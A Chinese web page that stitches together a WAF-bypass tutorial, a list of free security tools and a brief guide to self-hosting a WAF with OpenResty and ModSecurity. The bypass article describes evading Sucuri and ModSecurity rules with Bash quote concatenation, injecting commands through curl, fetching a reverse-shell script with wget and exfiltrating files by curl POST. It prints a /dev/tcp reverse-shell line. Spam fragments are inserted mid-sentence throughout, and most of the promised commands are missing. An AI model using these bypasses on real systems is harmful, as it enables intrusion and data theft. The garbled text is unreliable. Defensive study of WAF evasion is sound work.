1.WAF绕过技术系列文章(二)
2.数据销毁-21个最好的码安免费安全工具
3.基于 OpenResty 和 ModSecurity 自建 WAF 实践
WAF绕过技术系列文章(二)
在前面的文章中,我们学习了如何通过通配符绕过WAF规则,码安特别是码安使用问号通配符。但是码安,绕过WAF的码安方法远不止于此。对于不同的码安同事看你源码攻击,WAF规则绕过方法各不相同。码安例如,码安在SQL注入中,码安你可以利用注释语法来绕过WAF,码安而不仅仅是码安简单的加号。
当目标网站的码安WAF防御级别较低时,星号和连字符能帮你成功绕过WAF。码安但这只适用于SQL注入,码安不能用于本地文件包含和远程命令执行。码安对于某些特殊场景,WAF很难真正防御住针对目标网站的远程命令执行,因为这种攻击使用了字符串连接符。
如果你想实际操作这些绕过方法,可以在我创造的FluxCapacitor手动练习,这是一个在hackthebox上的漏洞演示虚拟机。
在许多编程语言中,字符串连接通常通过二进制符号实现。例如,加号,"Hello, " + "World"得到值为"Hello, World"。在其他编程语言中,连接符可能是不同符号,特别是涉及到隐式的类型转换,并不会使用加号等符号。例如在Perl和PHP中连接符为.,直聘网源码在Lua等语言中,连接符为..
但是你可别认为这是连接两个字符串的唯一方式。
当你在Bash使用C,C++,Python等编程语言时,你可以利用一种基于Bash的字符串连接特性,即:两个相邻的字符串即使中间没有任何符号,它们也可被当作连接在一起,"Hello," "World"等同于"Hello, World"。这个特性不仅适用于printf和echo等命令,还可适用于整体Bash语法。让我们从简单的例子开始。
下面的所有命令运行结果相同:
从上我们可以清楚了解到Bash中的字符串连接特性。实际上,'te's't'是由三个字符串组成:字符串te、字符串s和字符串t。这种语法可以有效地绕过基于“字符串匹配”的WAF规则。
ModSecurity中的防御规则SecRule ARGS "@pm passwd shadow groups"…将拦截所有包含字符串passwd或字符串shadow的请求。但是,如果我们把它们转换成pa'ss'wd或sh'ad'ow呢?就像我上面所提到的那样。而且,你不仅可以使用连接字符串来代替文件参数,还可以用来代替执行路径!
下面的所有命令运行结果也相同:
现在,我们已经发现一个远程命令执行的绕过WAF方法。如果你面临的WAF存在基于敏感字符串的拦截,你就可以用它绕过WAF规则:
下面我会用PHP代码做些测试,像往常一样,目标WAF是sucuri WAF和ModSecurity。如下是我们的网页代码,当然,它显得太过简单,坏123导航源码功能主要是利用curl和system()形成一个命令执行场景。虽然它看起来很不靠谱,但奇怪的是,你可以在多个实际应用场景发现这种愚蠢的代码。
我想我在发布这些文章后,Sucuri会立马把我拉黑。但是,我发誓:我使用Sucuri waf与ModSecurity进行比较,不是因为我要说明哪个更好。因为Sucuri被广泛使用,如果有用户阅读了本文,就可以在他们的自己的Web应用上更好地进行安全测试。
首先,我尝试发出请求获取 google.com,而使用最原始地请求:
如预期的一样,返回了 google.com的页面,基于地理位置,让我跳转到 www.google.de:
现在,为了做坏事,我使用分号破坏curl语法,尝试执行其他系统命令。但是当我试图读取/etc/passwd文件时,Sucuri就会拦截请求,请求如下:
被Sucuri拦截的原因如下:“检测到一个RFI/LFI攻击”。我认为(只是一个假设)Sucuri的这个拦截使用了类似于我们上面所提及的“字符串匹配”技术,它可能会拦截所有常见的路径和文件名,如/etc/passwd。当我把这个WAF的拦截力度调到最低时,我就可以利用两个单引号来绕过!
我知道你现在在想什么:“就算你可以读取passwd文件又怎样……你可以绕过Sucuri WAF得到一个shell吗?”这个问题的乌龙学院2源码答案当然是,YES!唯一的问题就是我们不能使用netcat,因为它还没有安装。
返回一个shell的最简单方法是使用bash -i命令:bash -i >& /dev/tcp/1.1.1.1/ 0>&1,但不幸的是,它太复杂了,很难彻底绕过WAF,这同时也意味着很难使用一些php、perl或python代码来获得shell。Sucuri WAF频繁拦截了我的请求,原因是:检测到模糊攻击。
接下来,我尝试使用curl或wget命令将python的反弹shell脚本上传上去,以获得shell。shell.py代码如下:
然后,我们在本机使用python -c SimpleHTTPServer或php -s等搭建Web服务,方便目标服务器从中下载python文件,下载shell.py文件用以下语法:
好的,Sucuri Waf没有拦截这个请求,但是ModSecurity通常会拦截这类请求,为了要绕过这类WAF规则,可以使用wget+ip转换+字符串连接来达成:
第一个命令使用wget下载shell文件到/tmp/。第二个命令使用chmod修改其可执行权限,第三个命令是执行它。如您所见,wget命令发出的请求中没有指明文件名,因此被下载的文件被命名为index.html。你可以使用netcat 命令nc手动写入HTTP的响应头和内容主体来决定文件内容,如下所示:
接下来,我们要绕过更难的送货电子签单源码WAF
你可能认为我们可以用上面的技术绕过OWASP核心规则集的低级规。但是,这是不可能的。因为有两个小东西叫做normalizePath和cmdLine。在ModSecurity中,它们被称为“转换函数”,用于将用户输入的原始数据先转换,然后再匹配。如果WAF认为数据无害,才会发送原始数据到Web服务器。
normalizePath:它会删除字符串中的多个斜杠、目录的自引用和目录的上级引用(除了最开始的输入)。
cmdLine:由Marc Stern开发,会将所有的输入规范化,例如/e't'c/pa'ss'wd会被转换规范为/etc/passwd。总之它可以做很多事:
因为cmdLine,WAF规则就可以拦截所有利用字符串连接来进行远程命令执行的尝试,拦截信息如下:
现在我不能读取/etc/passwd,但不要绝望!OWASP核心规则集会拦截常用的文件路径和命令,但它不能对目标应用的源代码执行拦截。我虽然不能使用分号(这意味着我不能跳出curl语法),但我可以使用curl来提取文件并将其发送到远程服务器。以上方法可绕过0到3级别的防御。
主要方法是利用POST的HTTP请求将文件发送到远程服务器,命令如下:
在此基础上,我们把@编码为%:
如果防御等级为4,以上这些都不起作用,因为payload中的连字符、正斜杠等字符会引起拦截。但好消息是,防御级别4在生产环境中很少见。
上面所述的绕过技术同样也可以应用于反斜杠字符。反斜杠不是用来串联字符串,而是用来转义:
以上就是全部内容。谢谢!
来源: WAF绕过技术系列文章(二)|NOSEC安全讯息平台 - NOSEC.ORG
白帽汇从事信息安全,专注于安全大数据、企业威胁情报。
公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。
为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。
数据销毁-个最好的免费安全工具
在信息安全领域,使用合适的工具和资源至关重要。除了经典的网络安全工具如Nmap、Wireshark和Snort等,还有许多免费的工具和服务可以帮助专业人员和新手更好地管理网络安全性。本文列出的个最佳免费安全工具涵盖了从密码破解到软件反编译,从漏洞管理到网络分析的多个方面,适合各种安全角色。
Maltego是一个强大的取证和开源情报(OSINT)工具,提供深入的威胁分析,可与多个资源集成,用于识别网络环境中的威胁。它特别适用于挖掘互联网上的信息,包括公司网络边缘设备的配置或高管的行踪。
Zed Attack Proxy(ZAP)是一款用户友好的渗透测试工具,用于发现网络应用程序的漏洞。它适合经验丰富的安全专家使用,也可作为新手学习渗透测试技巧的工具。
Shodan是一个流行的物联网搜索引擎,能够搜索和识别网络摄像头、服务器及其他智能设备。它特别有助于发现易受已知漏洞影响的设备,对于安全评估工作非常有用。
Kali Linux是基于Linux的渗透测试发行版,专为黑客攻击设计,包含各种工具用于信息收集、漏洞分析等。用户可以方便地安装在不同操作系统上,或作为虚拟机使用。
DNS Dumpster是一个免费的域名研究工具,提供深入的域名分析,帮助了解域名及其子域之间的联系,以及发现被遗弃的子域,揭示潜在的安全漏洞。
Photon是一个快速的网络爬虫,用于收集OSINT,如电子邮件地址、社交媒体账户等关键信息。它利用公共资源进行分析,并支持输出格式化数据。
Hybrid Analysis是一个恶意软件分析网络服务,不仅通过自己的沙箱分析提交的样本和URL,还与VirusTotal和MetaDefender验证结果,提供深入的恶意软件分析报告。
Nessus是一个流行的漏洞和配置评估工具,允许个人在家庭网络中免费使用。它提供高速发现、配置审核、资产分析等功能。
ANY.RUN是一个恶意软件分析沙盒服务,允许用户上传样本,并进行实时分析,包括回放和下载功能。
Tor Browser是一个用于匿名冲浪的工具,通过多个主机对流量进行加密传输,以保护用户的隐私和位置信息。
DarkSearch.io是一个暗网搜索引擎,提供免费访问暗网网站和.onion网站,但无需通过Tor网络,对于研究暗网活动非常有用。
John the Ripper是一款密码破解器,适用于UNIX、Windows等系统,尤其用于检测UNIX系统的薄弱密码。
OWASP Dependency-Check是一个软件构成分析工具,用于分析依赖关系并识别已知漏洞,咨询公共漏洞信息来源和Sonatype OSS Index。
Microsoft Visual Studio是一款集成开发环境,对于逆向工程和分析DLL等二进制文件非常有用,特别是当处理.NET DLL时。
Java反编译器如JD,可以将Java字节码反编译为源代码,用于分析以JAR形式发布的Java软件。
ModSecurity是一个网络应用程序监控、日志和访问控制工具包,用于执行完整的HTTP事务记录和安全评估。
Burp Suite是一个全面的Web应用安全测试平台,包含代理服务器、网络蜘蛛等工具,支持整个测试过程。
Metasploit是一个开源平台,用于开发安全工具和漏洞,由Rapid7收购并继续维护。
Aircrack-ng是Wi-Fi安全测试的工具包,用于数据包监控、测试硬件、破解密码和发起Wi-Fi网络攻击。
Intelligence X是一个档案服务和搜索引擎,保留网页的历史版本和泄露的数据集,对情报收集和分析具有价值。
GrayhatWarfare是一个搜索引擎,索引亚马逊AWS桶和Azure blob存储等可公开访问的资源,帮助发现意外暴露的存储。
基于 OpenResty 和 ModSecurity 自建 WAF 实践
面对外卖系统存在的安全隐患和Web攻击,一家公司的PHP后端工程师采取了自建WAF的策略,选择了OpenResty和ModSecurity作为技术基石。WAF作为Web安全的重要防线,OpenResty凭借其高性能和Lua库的优势简化了集成,而ModSecurity作为强大的开源WAF引擎,专为HTTP流量防护而设计,且被Nginx官方推荐。下面,我们将逐步介绍如何在Debian系统服务器上安装和配置这个自建WAF系统。
1. 首先,安装libmaxminddb库,用于解析IP信息。这对于WAF解析和处理网络请求至关重要。
2. 接下来,安装ModSecurity 3.x版本,支持Nginx。由于是源码编译安装,确保版本兼容性至关重要。
3. 安装OpenResty,并通过Nginx的--add-dynamic-module选项添加ModSecurity Nginx connectors,以便在Nginx环境中运行和扩展WAF功能。
4. 在OpenResty的配置文件中,启用ModSecurity,并集成OWASP ModSecurity核心规则集(CRS),这是一个通用的攻击检测规则集,用于提高WAF的防护能力。
通过这样的实践,公司成功地构建了一个自适应、高效且成本效益高的WAF系统,有效保护了外卖系统的安全。如有兴趣深入了解,可以参考《基于OpenResty和ModSecurity的自建WAF实践》一文获取详细步骤和配置指南。